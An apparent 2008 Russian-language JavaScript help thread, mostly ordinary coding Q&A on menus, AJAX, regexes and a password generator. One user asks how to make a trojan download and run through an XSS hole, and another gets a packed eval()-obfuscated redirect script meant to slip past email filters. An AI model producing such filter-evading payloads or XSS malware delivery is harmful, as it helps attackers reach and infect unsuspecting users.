1) К обычной странице подключается скрипт, который каким-то образом должен отслеживать процесс загрузки. Но JS не может узнать полный размер кода/текста страницы раньше, чем она загрузится. (Или надо изменять серверную часть.) С картинками ещё можно что-нибудь придумать.

2) Можно попробовать грузить всё через JS. При этом сама страница будет содержать только скрипт и, скажем, пустой блок. Соответственно поисковики и пользователи без JS ничего не увидят.

Лично моё мнение: это подход флеша. Попадёшь на страницу, и не узнаешь, есть ли на ней нужная информация, пока всё не загрузится.

Isis
19.05.2008, 01:38
Лови js код при загрузке pro.mail.ru

astrologer
19.05.2008, 02:16
На pro.mail.ru просто функция (incPointsLoaded) вызывается в конце каждого скрипта: function progressBarSize() {
if (!parseInt(pointsCount)) return;
//alert('1 : '+parseInt(pointsLoaded));
//alert('2 : '+parseInt(pointsCount));
//alert('3 : '+(parseInt(pointsLoaded)/parseInt(pointsCount)));
val = parseInt(100*parseInt(pointsLoaded)/parseInt(pointsCount));
var re=/^[0-9\+\-()\#, ]+$/;
var res = re.test(val);
if (!res) {
alert("Ошибка в значении прогресс-бара!");
gebi("persent").value = "";
return false;
}
if (val < 0) val = 0;
if (val > 100) val = 100;
if (gebi("resizeble")) {
parentWidth = gebi("resizeble").parentNode.offsetWidth;
gebi("resizeble").style.width = parentWidth * (val/100);
}
}

function incPointsLoaded(name) {
pointsLoaded = pointsLoaded+1; // Вообще круто
progressBarSize();
}

if (typeof(incPointsLoaded) == "function") incPointsLoaded('dropdown_script');

mouse.pro
19.05.2008, 14:21
Загрузка на mail.ru понравилась, то что надо!
Только вот я в ajax полный 0, как это все прикрутить к страничке? если не трудно напишите пожалуйста=)

astrologer
19.05.2008, 15:32
Ещё раз - на pro.mail.ru не высчитывается процентное соотношение загруженного - просто там много отдельных файлов:<script type="text/javascript" src="http://img.mail.ru/r/js/default_function.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/browser_versions.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/processing_events.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/dropdown_script.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/cookie_setup.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/debugger.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/resize_js.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/drag_and_drop.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/cols_resize.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/mailbox.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/scroll_eventer.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/dynamics.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/white_holes.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/letter_function.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/send_letter.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/context_menu.js"></script>
<script type="text/javascript" src="http://img.mail.ru/r/js/hover_menu.js"></script>В конце каждого вызывается функция, просто увеличивающая полоску загрузки на определённую величину.если не трудно напишите пожалуйста=)Трудно, т.к. к коду придётся написать ещё и страницу.

Doom123
19.05.2008, 23:08
нужен скрипт такого типа...

напр. есть форма а в ней тег селект с опциями мне нужно чтоб када пользователь выберет одну из опций ему вывадилась форма из файла(файл с названием опции)

плз оч надо.. помогите а? с меня +++

d_x
19.05.2008, 23:31
Сделал на аяксе базовый пример, проверки уже и всё остальное легко дописать:

Файл forms.htm:
<html><body><script language='JavaScript'>
function createHttpRequest()
{
var uagent=navigator.userAgent.toLowerCase();
var is_win=((uagent.indexOf("win")!=-1) || (uagent.indexOf("16bit")!=-1));
var is_opera=(uagent.indexOf('opera')!=-1);
var is_webtv=(uagent.indexOf('webtv')!=-1);
var is_safari=((uagent.indexOf('safari')!=-1) || (navigator.vendor=="Apple Computer, Inc."));
var is_ie=((uagent.indexOf('msie')!=-1) && (!is_opera) && (!is_safari) && (!is_webtv));

if(is_ie)
httpRequest=new ActiveXObject("Microsoft.XMLHTTP");
else
httpRequest=new XMLHttpRequest();

return httpRequest;
}


function sendRequest(file,params)
{
httpRequest.open('POST',file,true);
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");
httpRequest.setRequestHeader("Content-length",params.length);
httpRequest.setRequestHeader("Connection","close");
httpRequest.onreadystatechange=getRequestx;
httpRequest.send(params);
}

function getRequestx()
{
if(httpRequest.readyState==4)
{
document.getElementById("frm").innerHTML=httpRequest.responseText;
document.getElementById("f").disabled=false;
}
}

var httpRequest=createHttpRequest();


function cf(name)
{
if(!name || (name!='form1.htm' && name!='form2.htm'))
{
document.getElementById("frm").innerHTML="Выберите форму";
return;
}

document.getElementById("frm").innerHTML="Загрузка...";
document.getElementById("f").disabled=true;
sendRequest(name,'');
}
</script>
Выберите форму:<br>
<select onchange="cf(this.value)" id="f">
<option>выберите</option>
<option value="form1.htm">первая</option>
<option value="form2.htm">вторая</option>
</select>
<hr>
<div id="frm">
Выберите форму
</div>
</body></html>


Файл form1.htm:

<form action='' method='post'>
FORM 1:
<input type='text' name='aaa' value='bbb'>
</form>



Файл form2.htm:

<form action='' method='post'>
FORM 2:
<select><option>AAA</option><option>BBB</option>
</form>

Doom123
20.05.2008, 01:16
а как научить скрипт русскому языку? а то место русских букв квадратики оО

Doom123
20.05.2008, 01:25
научил) уникод рулит))

smOleg
22.05.2008, 17:38
function act(e)
{
var aim = e.target || e.srcElement,
blocks = document.getElementById('buttons').getElementsByTa gName('img'),
l = blocks.length,
while(l--) blocks[l].className = 'normal';
aim.className = 'active';


когдато астрологер мне помог: скрпитик написал что клас меняло..

так вот там тег имж. нада что у него атрибут
src="images/but.png"
поменяло на
src="images/butActive.png"

как дойти до этого атрибуто приблизительно вкурсе (фаербаг рулит) но дальше там строки штоле.
штоб после 4 символа сконца дописать Актив

astrologer
22.05.2008, 18:11
.replace(/(\.\w+)$/, 'Active$1');

smOleg
23.05.2008, 19:53
startList = function() {
if (document.all&&document.getElementById) {
navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
}
window.onload=startList;
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#">About</a>
<ul>
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</ul>
Ачо оно не работает :confused:

astrologer
23.05.2008, 20:26
1) Выражение Boolean(document.all) в браузерах FF2.0+, Safari, Opera 9.5 (build 9755+) возвращает ложь из-за маскировки этого объекта. (В приведённом примере document.all не используется, но зачем-то проверяется. Копипаст?)
2) Структура списка неправильная.
3) Не используется ключевое слово var, из-за этого все переменные определяются как глобальные.
4) В списке только ссылки, значит, можно обойтись без JS (a:hover).

smOleg
24.05.2008, 17:06
1) Копипаст?)
да)
2) Структура списка неправильная.
да.. просто он длиннее. вот теперь правильная?
<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#">About</a>
<ul>
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>
3) Не используется ключевое слово var, из-за этого все переменные определяются как глобальные.
вот. заюзал вар, убрал проверку документ ол. в ФФ както интересно начало подставлять клас..
раз мышкой провел- он все подставил клас, но почемуто не убрал на mouseover :confused:
второй раз мышкой ровести то к <li class="over">
ставит еще <li class="over over"> и потом уберает на mouseover до <li class="over">

в опера и ИЕ зато все отлично
startList = function() {
var navRoot = document.getElementById("nav");
for (i=0; i<navRoot.childNodes.length; i++) {
node = navRoot.childNodes[i];
if (node.nodeName=="LI") {
node.onmouseover=function() {
this.className+=" over";
}
node.onmouseout=function() {
this.className=this.className.replace(" over", "");
}
}
}
}
window.onload=startList;

4) В списке только ссылки, значит, можно обойтись без JS (a:hover).
там применяется li:hover ИЕ такого не понимает

#nav li ul {
display: none;
}
#nav li.over ul {
display: block;
}

d_x
24.05.2008, 17:51
вот. заюзал вар, убрал проверку документ ол. в ФФ както интересно начало подставлять клас..
раз мышкой провел- он все подставил клас, но почемуто не убрал на mouseover
второй раз мышкой ровести то к <li class="over">
ставит еще <li class="over over"> и потом уберает на mouseover до <li class="over">

Не следует использовать в имени класса пробел, надо заменить " over" на "over".

smOleg
27.05.2008, 13:15
вот скопипастил но чегото не работает. а нужно срочно. Помогите :confused:
activateMenu = function(nav) {

/* currentStyle restricts the Javascript to IE only */
if (document.all &&
document.getElementById(nav).currentStyle) {
var navroot = document.getElementById("nav");

/* Get all the list items within the menu */

var lis=navroot.getElementsByTagName("LI");
for (i=0; i<lis.length; i++) {

/* If the LI has another menu level */
if(lis[i].lastChild.tagName=="UL"){

/* assign the function to the LI */
lis[i].onmouseover=function() {

/* display the inner menu */
this.lastChild.style.display="block";
}
lis[i].onmouseout=function() {
this.lastChild.style.display="none";
}
}
}
}
}
window.onload= function(){
/* pass the function the id of the top level UL */

/* remove one, when only using one menu */
activateMenu('nav');
}

просто навожу добираюсь по древу в FF до свойства обьекта у котого даный скрипт должен менять display:none на display:block .. вожу мышкой и ничо не происходит.

хм.. может потому что FF в доме любого блока на месте lastChild показывает "\n %)
тогда чегото афторы скрипта напутали

groundhog
27.05.2008, 13:22
Может всё-таки this.style.display="block"; и т.д.?

Naydav
27.05.2008, 13:29
В FF не проходит условие
if (document.all &&
document.getElementById(nav).currentStyle)

astrologer
27.05.2008, 13:30
Может всё-таки this.style.display = "block"; и т.д.?На скрытый блок невозможно навести курсор.

smOleg, http://code.google.com/p/ie7-js/

В FF не проходит условие/* currentStyle restricts the Javascript to IE only */

P.S. currentStyle есть и в Опере.

smOleg
27.05.2008, 13:31
В FF не проходит условие
та я вспомнил.. теперь так:
activateMenu = function(nav) {

/* currentStyle restricts the Javascript to IE only */
/* if (document.all &&
document.getElementById(nav).currentStyle) {*/
var navroot = document.getElementById("nav");

/* Get all the list items within the menu */

var lis=navroot.getElementsByTagName("LI");
for (i=0; i<lis.length; i++) {

/* If the LI has another menu level */
if(lis[i].lastChild.tagName=="UL"){

/* assign the function to the LI */
lis[i].onmouseover=function() {

/* display the inner menu */
this.lastChild.style.display="block";
}
lis[i].onmouseout=function() {
this.lastChild.style.display="none";
}
}
}
/* }*/
}
window.onload= function(){
/* pass the function the id of the top level UL */

/* remove one, when only using one menu */
activateMenu('nav');
}
однако ничего не поменялось

smOleg
27.05.2008, 13:33
smOleg, http://code.google.com/p/ie7-js/

ок это круто, спасибо. но мне оно хоть бы в ff или опере заработало а потом уже думать про ие

Naydav
27.05.2008, 13:40
У тебя есть блок кода
if(lis[i].lastChild.tagName=="UL"){

добавь перед ним
alert(lis[i].lastChild.tagName);
и посмотри равно ли оно UL :)

smOleg
27.05.2008, 13:43
У тебя есть блок кода


добавь перед ним

и посмотри равно ли оно UL :)

та втом то и дело похоже сдесь оно и ступорится.. грюже ФФ на любом блоке в ДОМЕ в графе ЛАст чаилд показывает "\n " :confused:

гы.. написал выдало кучу алертов (задолбался мышой клацать) кроме А и аниндефендет ничо небыло

astrologer
27.05.2008, 13:46
ок это круто, спасибо. но мне оно хоть бы в ff или опере заработало а потом уже думать про иеЭто для того и сделано. Пишешь стандартный CSS для Opera и FF, а для IE скрипт сам сделает всё что нужно.

Naydav
27.05.2008, 13:46
та втом то и дело похоже сдесь оно и ступорится
Не похоже, а точно показываю, что цикл не проходит
а почему именно такой алгоритм?
Тебе нужно при наведении на ul сделать видимыми LI ?

smOleg
27.05.2008, 13:47
незнаю.. главний сказал вот те мега меню мол шоб через н времени все было готово ведь самое трудное меню у тебя уже есть

Naydav
27.05.2008, 13:48
Тебе нужно при наведении на ul сделать видимыми LI ?

smOleg
27.05.2008, 13:49
Это для того и сделано. Пишешь стандартный CSS для Opera и FF, а для IE скрипт сам сделает всё что нужно.

аа... и вправду на ИЕ данное меню действует.. недодумался я на нем смотрю впоследнюю очередь

Тебе нужно при наведении на ul сделать видимыми LI ?
при наведении на ЛИ видимыми дочерние ЮЛ ну вместе с ихними Ли(эти ЛИ в свою очередь засвечивают свои дочерние ЮЛ при наведении)


вобщем всем спасибо.. с этим скриптом все ясно: под ие только работает на другие браузеры тупо css буду делать ведь они понимают hover на все.

Naydav
27.05.2008, 13:59
window.onload= function(){

//activateMenu('nav');
var about = document.getElementById("about_a");
var about_ul = document.getElementById("about_ul");
about.onmouseover = function() {about_ul.style.display="block";}
about.onmouseout = function() {about_ul.style.display="none";}

}


<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#" id="about_a">About</a>
<ul id="about_ul">
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>

только это нужно в функцию переделать, а еще лучше написать класс, и через конструктор инициализировать пункты меню, и события лучше добавлять через
свойство класса, которое лучче реализовать так

if (window.addEventListener)
window.addEventListener("load", createhintbox, false)
else if (window.attachEvent)
window.attachEvent("onload", createhintbox)
else if (document.getElementById)
window.onload=createhintbox


и вообще подключи jquery ил prototype, это решить можно будет в несколько строк...
чего только стоит Xpath(переход по DOM) у jquery

astrologer
27.05.2008, 14:07
<style type="text/css">

li > ol { display: none; }
li:hover > ol { display: block }

</style>

<ol id="nav">
<li>First</li>
<li>Second</li>
<li>Third
<ol>
<li>First</li>
<li>Second
<ol>
<li>First</li>
<li>Second</li>
<li>Third</li>
</ol>
</li>
<li>Third</li>
</ol>
</li>
</ol>

smOleg
27.05.2008, 14:08
window.onload= function(){

//activateMenu('nav');
var about = document.getElementById("about_a");
var about_ul = document.getElementById("about_ul");
about.onmouseover = function() {about_ul.style.display="block";}
about.onmouseout = function() {about_ul.style.display="none";}

}


<ul id="nav">
<li class=""><a href="#">Home</a></li>
<li class=""><a href="#" id="about_a">About</a>
<ul id="about_ul">
<li><a href="#">History</a></li>
<li><a href="#">Team</a></li>
<li><a href="#">Offices</a></li>
</ul>
</li>
</ul>


спасибо, конечно. я сам так думал.. но таких id="about_ul" может быть вагон и тележка. а для валидации id повторять нельзя, а писать ЖС под каждый id бред. также как и нет в ЖС ф-ии getElementByClass(который можна повторять)


astrologer спс. с ховерами я знаком.. просто начал скрипты городить ради ИЕ. но теперь под него есть отдельный скрипт %)

ЗЫ выручили. ачат лучший:)

bomber
28.05.2008, 11:41
нужен скрипт, который конвертит символ - & в &amp;

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin
function replaceChars(entry) {
out = "&"; // эту букву заменяем
add = "&amp;"; // на эту букву
temp = "" + entry; // temporary holder

while (temp.indexOf(out)>-1) {
pos= temp.indexOf(out);
temp = "" + (temp.substring(0, pos) + add +
temp.substring((pos + out.length), temp.length));
}
document.subform.page.value = temp;
}
// End -->
</script>


код работает с обычными буквами, а вот сделать как мне нужно не получается

d_x
28.05.2008, 13:42
var str="ddd&gggg&tttt"; //строка, в которой необходимо произвести замену
str=str.replace(/&/g,"&amp;"); //меняем & на &amp;

nikolya
30.05.2008, 23:08
Задачка. Ниже код, где: при запуске образуется массив случайных чисел и считается среднее арифметическое этих чисел. А как правильно записать следующее условие: подсчитать среднее арифметическое чисел больше 100? Требуется только добавить запись, но не изменять все целиком. Заранее спасибо!
var sum=0;
var x=new Array(5);
for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;
sum+=x[i];
document.write(x[i]+", ")
}
{
document.write('<br>'+'Среднее значение = '+sum/i )
}

d_x
30.05.2008, 23:14
var sum=0;
var x=new Array(5);
var cnt=0;
for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;

if(x[i]<=100) continue;

cnt++;

sum+=x[i];
document.write(x[i]+", ");
}

if(cnt==0)
document.write('<br>Все числа оказались меньше 100.');
else
document.write('<br>'+'Среднее значение = '+sum/cnt);

nikolya
30.05.2008, 23:45
спасибо!!! а если требуется еще и у оставшихся чисел (меньше 100) посчитать среднее арифметическое?

d_x
30.05.2008, 23:52
Можно вот так:

var sum1=0;
var sum2=0;
var x=new Array(5);
var cnt1=0;
var cnt2=0;
document.write("Все числа: ");

for (var i=0;i<5;i++)
{
x[i]=(Math.floor(Math.random()*100))+40;

if(x[i]<=100)
{
cnt1++;
sum1+=x[i];
}
else
{
cnt2++;
sum2+=x[i];
}

document.write(x[i]+", ");
}

if(cnt1>0)
document.write('<br>'+'Среднее значение чисел меньше или равных 100 = '+sum1/cnt1);

if(cnt2>0)
document.write('<br>'+'Среднее значение чисел больше 100 = '+sum2/cnt2);

GreenBear
01.06.2008, 14:24
не подскажите про работу с колесом мышки.

Naydav
02.06.2008, 13:07
не подскажите про работу с колесом мышки.

jquery:
http://www.ogonek.net/mousewheel/jquery-demo.html
prototype:
http://www.ogonek.net/mousewheel/demo.html

Blad94
02.06.2008, 21:30
Подскажите пожалуйста как при нажатии на кнопку в поле добавлялась какая либо строка ибо в яве я дуб

d_x
02.06.2008, 21:46
Простой пример:
<html><body>
<script language='JavaScript'>
function addValue(str)
{
document.getElementById("field").value=str;
}
</script>
<input type="text" id="field">
<br><input type="button" onclick="addValue('Добавляем Строку!')" value="Добавить">
</body></html>

Architek86
03.06.2008, 19:19
Реально ли сделать так, чтобы при заходе на сайт он АВТОМАТИЧЕСКИ становился домашней страницей в браузере по умолчанию?

Vanofuture
03.06.2008, 22:11
Подскажите как добавить в массив теже значения но в верхнем регистре.
Например из
words=new Array('aaa','bbb','ccc');
получить
words=new Array('aaa','bbb','ccc','AAA','BBB','CCC');
:confused:

d_x
03.06.2008, 22:26
<html><body>
<script language='JavaScript'>
words=new Array('aaa','bbb','ccc');

var cnt=words.length;

for(var i=0;i<cnt;i++)
{
words[i+cnt]=words[i].toUpperCase();
}


//тут просто вывод всех значений массива подряд
cnt*=2;
for(var i=0;i<cnt;i++)
{
document.write(i+" : "+words[i]+"<br>");
}

</script>
</body></html>

Buffalon
05.06.2008, 10:00
Ну наверн мне сюда... .Яву плохо знаю .Тык вот
У миня есть активная Xss >Я перенаправляю их на свой сайт >
и как мне сдеЛать что бы троян закачался к ним на комп и запустился

Vanofuture
05.06.2008, 15:49
<html><body>
<script language='JavaScript'>
words=new Array('aaa','bbb','ccc');

var cnt=words.length;

for(var i=0;i<cnt;i++)
{
words[i+cnt]=words[i].toUpperCase();
}


//тут просто вывод всех значений массива подряд
cnt*=2;
for(var i=0;i<cnt;i++)
{
document.write(i+" : "+words[i]+"<br>");
}

</script>
</body></html>
Пасиба за код))
Ещё один вопросик: как сделать обработку только отдельного слова в js. Я знаю что например в php будет примерно так:
$s = preg_replace('/\baaa\b/', 'замена', $s);
То есть замениться только если aaa будет отдельным словом, и к примеру ccaaacc не будет обработано. Как реализовать такое для js?

astrologer
05.06.2008, 16:10
Как реализовать такое для js?<script type="text/javascript">

var s = 'aaa aaa qweaaa aaaa qaaaq aaaasd aaa';
document.write(s.replace(/\baaa\b/g, 'замена'));

</script>

mff
05.06.2008, 16:22
Подскажите, как сделать reset - очистку полей формы, чтобы input type был "image" а не "reset" ? :
<input type="image" src="img/reset.png" name="reset" />

crackmail
05.06.2008, 16:51
подскажите где и как криптануть такую строчку
<script>
document.location.href='http://antichat.ru';
</script>

а то фильтры бесятся от этого кода

d_x
05.06.2008, 16:54
Можно тут попробовать:
http://javascriptcompressor.com/
Или поискать ещё подобные сервисы.

crackmail
05.06.2008, 16:58
а что конкретно криптовать из этого кода?
<script>
document.location.href='http://antichat.ru';
</script>

document.location.href='http://antichat.ru'; - это?
полностью все? или как?

d_x
05.06.2008, 16:59
Только сам скрипт, то есть:

document.location.href='http://antichat.ru';

oRb
05.06.2008, 17:01
Подскажите, как сделать reset - очистку полей формы, чтобы input type был "image" а не "reset" ? :
<input type="image" src="img/reset.png" name="reset" />
Вот статья про это:
http://www.cs.tut.fi/~jkorpela/forms/imagereset.html

crackmail
05.06.2008, 17:02
неа так не прокатит
тупо просто отправляеш на мыло
<script>
тест
</script>
и фильтры уже бычят , тк нада как то и теги криптовать но как?)

mff
06.06.2008, 00:14
Вот статья про это:
http://www.cs.tut.fi/~jkorpela/forms/imagereset.html
Спасибо! То, что нужно! ;) +

Vanofuture
06.06.2008, 01:19
Всем доброго дня суток, помогите советом как сохранить файл через JavaScript?

Другими словами например есть ссылка на файл http://123.ru/file.txt или http://123.ru/file.gif при нажатии на нее пользователь откроет в этом же или в новом окне картинку либо текстовый документ, ну или то все что можно открыть браузером.
Как сделать так что бы в независимости от разрешения браузер открывал диалоговое окно сохранения файла?

Искал, нашел только как сохранить текущую страницу, а вот как сохранить файл не могу найти.

mff
06.06.2008, 11:54
Vanofuture прикрепи к письму текстовый файл, отправь на mail.ru себе же и посмотри как у них сделано! Там точно есть ссылки скачать и для txt и для jpg.

Vanofuture
06.06.2008, 13:48
Vanofuture прикрепи к письму текстовый файл, отправь на mail.ru себе же и посмотри как у них сделано! Там точно есть ссылки скачать и для txt и для jpg.
Там используеться какой-то серверный скрипт. Я знаю что подобное можно сделать на php, но не хочеться к нему прибегать.

Architek86
07.06.2008, 03:43
Нужен такой скрипт: при вводе данных в поле и нажатию Enter данные формы отправлялись.

nikolya
07.06.2008, 07:47
Если кому нетрудно, то, пожалуйста, объясните выделенный код. Ну так, хотя бы поверхностно, что откуда берется и кто за что отвечает.

with (document) {
writeln('<title>Генератор паролей на JS</title></head><body leftmargin=100>' +
'<h2>Генератор паролей</h2><h3>Использовать:</h3><form name=myform>' +
'<input name=upper type=checkbox value=0>&nbsp;<b>Заглавные буквы</b><br>' +
'<input name=lower type=checkbox value=1>&nbsp;<b>Маленькие буквы</b><br>' +
'<input name=digit type=checkbox value=2>&nbsp;<b>Цифры</b><br><br>Число символов в пароле (3-19):&nbsp;' +
'<select name=numbers><option value=3 selected>3</option>');
for (j = 4; j <= 19; j++) { writeln('<option value=' + j + '>' + j + '</option>'); }
writeln('</select><br><br>' +
'<input type=button value=Generate ... onClick=generate()>&nbsp;&nbsp;&nbsp;Ваш пароль:&nbsp;' +
'<input name=getback size=30 type=text value=""></form>');
}
// массивы символов
upp = new Array('','A','B','C','D','E','F','G','H','I','J',' K','L','M','N','O','P','Q','R','S','T','U','V','W' ,'X','Y','Z');
low = new Array('','a','b','c','d','e','f','g','h','i','j',' k','l','m','n','o','p','q','r','s','t','u','v','w' ,'x','y','z');
dig = new Array('','0','1','2','3','4','5','6','7','8','9');

function rnd(x,y,z) {
var num;
do {
num = parseInt(Math.random()*z);
if (num >= x && num <= y) break;
} while (true);
return(num);
}

function genArray() {
var pwd = '';
var res, s;
var k = 0;
var n = document.myform.numbers.value;
var pass = new Array();
var w = rnd(30,80,100);
for (var r = 0; r < w; r++) {
if (myform.upper.checked) { res = rnd(1,26,100); pass[k] = upp[res]; k++; }
if (myform.lower.checked) { res = rnd(1,26,100); pass[k] = low[res]; k++; }
if (myform.digit.checked) { res = rnd(1,10,100); pass[k] = dig[res]; k++; }
}
for (var i = 0; i < n; i++) {
s = rnd(1,k-1,100);
pwd+= pass[s];
}
document.myform.getback.value = pwd;
}
}
function generate() {
if (myform.upper.checked || myform.lower.checked || myform.digit.checked) { genArray(); }
else { alert('Должен быть выбран тип символов!'); myform.upper.checked = true; }
}
</script>

Заранее спасибо!!!!!!!!!!!!

astrologer
08.06.2008, 01:24
function rnd(x,y,z) // объявляется функция rnd
{
// Объявляется локальная переменная num:
var num;
do // Цикл do ... while гарантирует, что код в теле цикла исполнится хоть один раз.
{
// Переменной num присваивается результат исполнения выражения с правой стороны:
// Math.random() генерирует число от 0 до 1,
// которое умножается на значение переменной z,
// после чего функция parseInt извлекает из полученного целую часть.
num = parseInt(Math.random()*z);

// Если значение переменной num принадлежит замкнутому интевалу [x,y], то цикл прерывается:
if (num >= x && num <= y) break;
} while (true);
return(num); // Возвращается значение num. return не функция, скобки не нужны.
}

function genArray() // Объявляется функция genArray
{
// Объявляются локальные переменные pwd, res, s, и т.д.
// Переменные всегда создаются со значением undefined,
// когда JS-движок переходит в новую «область действия» (scope). Грубо говоря, в функцию.
// Другое значение они получают после, в результате исполнения выражения присваивания.
var pwd = ''; // В данном случае pwd - это идентификатор переменной,
// а вторая часть, «= ''» - инициализатор,
// который и содержит в себе выражение присваивания.
var res, s;
var k = 0;
var n = document.myform.numbers.value; // Здесь переменной n присваивается значение select'а
var pass = new Array(); // Создаётся новый массив с помощью оператора new и функции-конструктора Array.
var w = rnd(30,80,100); // С помощью функции генерируется число от 30 до 80
for (var r = 0; r < w; r++) // Цикл от нуля до w, полученного строчкой выше.
{
if (myform.upper.checked) // Поставлена ли галка в чекбоксе?
{
res = rnd(1,26,100); // Генерируется число от 1 до 26
pass[k] = upp[res]; // Из массива upp (с большими буквами) выбирается элемент с индексом, равным значению переменной res,
// полученное значение присваивается элементу массива pass с индексом k
k++; // Инкремент.
}

// Аналогично:
if (myform.lower.checked) { res = rnd(1,26,100); pass[k] = low[res]; k++; }
if (myform.digit.checked)
{
res = rnd(1,10,100); // Просто отличная мысль - сгенерировать число от 1 до 10, чтобы
pass[k] = dig[res]; // выбрать из массива число от 0 до 9.
k++;
}
} // end for;

for (var i = 0; i < n; i++) // Цикл от нуля до n.
{
s = rnd(1,k-1,100); // Генерируется число от 1 до k-1
// Сейчас значение k равно длине массива pass.
pwd += pass[s]; // К строке pwd прибавляется значение элемента массива pass с индексом s
} // end for;

document.myform.getback.value = pwd; // Вставляет нагенерированное в input.
}

// Вывод: код неграмотный.

Корвин
11.06.2008, 14:24
подскажите плиз http://mirbiletov.ru/price_cur/?razdel_id=5&cat_id=5&subcat_id=1

там у меня такая проблема, када тыкаешь "В корзину" справа добавляется товар в корзину, и если перейти на другую страницу все пропадает из корзины, подскажите плиз как сделать чтобы на всех страницах сохранялось пока не сбросишь или не купишь

Isis
11.06.2008, 17:09
В куках сохраняй или в сессии

Buffalon
12.06.2008, 10:45
Здрасти ребята... .Подскажите книгу для AJAX
Java Script знаю на уровне новичка... .

astrologer
12.06.2008, 14:52
Здрасти ребята... .Подскажите книгу для AJAX
Java Script знаю на уровне новичка... .
Если английский знаешь, то посмотри: http://nczonline.net/downloads/. Там же по JS, по-моему, одна из лучших книг (http://nczonline.net/downloads/ProJS.zip).

Naydav
12.06.2008, 18:32
[jQuery]
Вопрос нужно выбрать все инпуты(класса option) из формы,значение которых не пустое
что-то типа
var count = $(".option").find("@value!=''").length;
но так length всегда 0
возможно из-за того, что value при загрузке у всех пустое

Isis
13.06.2008, 11:45
var count = $('.option').find( 'option[value!=""]' ).length;

Naydav
13.06.2008, 13:46
var count = $('.option').find( 'option[value!=""]' ).length;
astrologer:
$('input.option[@value]');
:)

crackmail
14.06.2008, 00:45
нуна криптануть код такого вида

<script>
document.location.href='http://antichat.ru';
</script>

чтоб работал и почтовые фильтры не палили
скок буит стоить?

xtra
15.06.2008, 14:53
ёмаё, последняя надежда на вас, где можно раздабыть скрипт аля Вконтакте, когда на стенке нажимаешь ссылку "написать". тоесть вниз выезжает поле х_х вот это надо Ж)

FeraS
15.06.2008, 14:59
xtra
http://anton.shevchuk.name/javascript/jquery-for-beginners/ самое начало. Там примеры есть.

Isis
15.06.2008, 15:01
crackmail,
eval(function(p,a,c,k,e,r){e=String;if(!''.replace (/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0>1.5.2=\'3://4.6\';</0>',7,7,'script|document|href|http|antichat|location |ru'.split('|'),0,{}))

Architek86
15.06.2008, 17:44
Дана форма:
<form name="addform" id="tstAddForm" method="POST" action="http://saitik.do.am/tests/" onsubmit="tstNextStep();return false;">
<input type="submit" name="submit" id="TstSbm" value="Перейти к следующему вопросу" disabled>
<form>
и дан скрипт таймера
(function()
{
document.getElementById('TstSbm').name='send';
var i = 30, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
document.getElementById('TstSbm').name='submit';
}
}, 1000);
})();
а так же
<span id="time"> </span>

Можно ли сделать в яваскрипте (ибо менять форму нельзя) так, что бы при нажатии на кнопку скрипт таймера обновлялся (т.е. сбивался и начинал заново)?
Я думаю, это можно как-то типа вот так:
document.getElementById('TstSbm').onclick='ля-ля-ля';
но что ввести вместо "ля-ля-ля"?
Заранее спасибо :)

astrologer
15.06.2008, 17:50
(function()
{
document.getElementById('TstSbm').name = 'send';
var def = 30, i = def, timer;
timer = setInterval(function()
{
if(i--)
{
document.getElementById('time').innerHTML = i;
}
else
{
clearInterval(timer);
document.getElementById('o0').checked = true;
document.forms['addform'].submit();
document.getElementById('TstSbm').name='submit';
}
}, 1000);

document.getElementById('TstSbm').onclick = function(){ i = def; };

})();

crackmail
15.06.2008, 23:07
crackmail,
eval(function(p,a,c,k,e,r){e=String;if(!''.replace (/^/,String)){while(c--)r[c]=k[c]||c;k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('<0>1.5.2=\'3://4.6\';</0>',7,7,'script|document|href|http|antichat|location |ru'.split('|'),0,{}))

чувак а как эту байду отрпавить правильно чтоб меиру воспринял это как код? отправляю типа так
<?php
твой код
?>

приходит на мыло только обрывок кода и все)) никаких переходов не происходит

Architek86
16.06.2008, 00:13
Такой вопрос...
Дан код
<div id="book">
<div class="eTitle">Ромб</div>
<div class="eTitle">Артист</div>
<div class="eTitle">Треугольник</div>
<div class="eTitle">Машина</div>
<div class="eTitle">Марс</div>
<div class="eTitle">Земля</div>
</div>
и т.д.
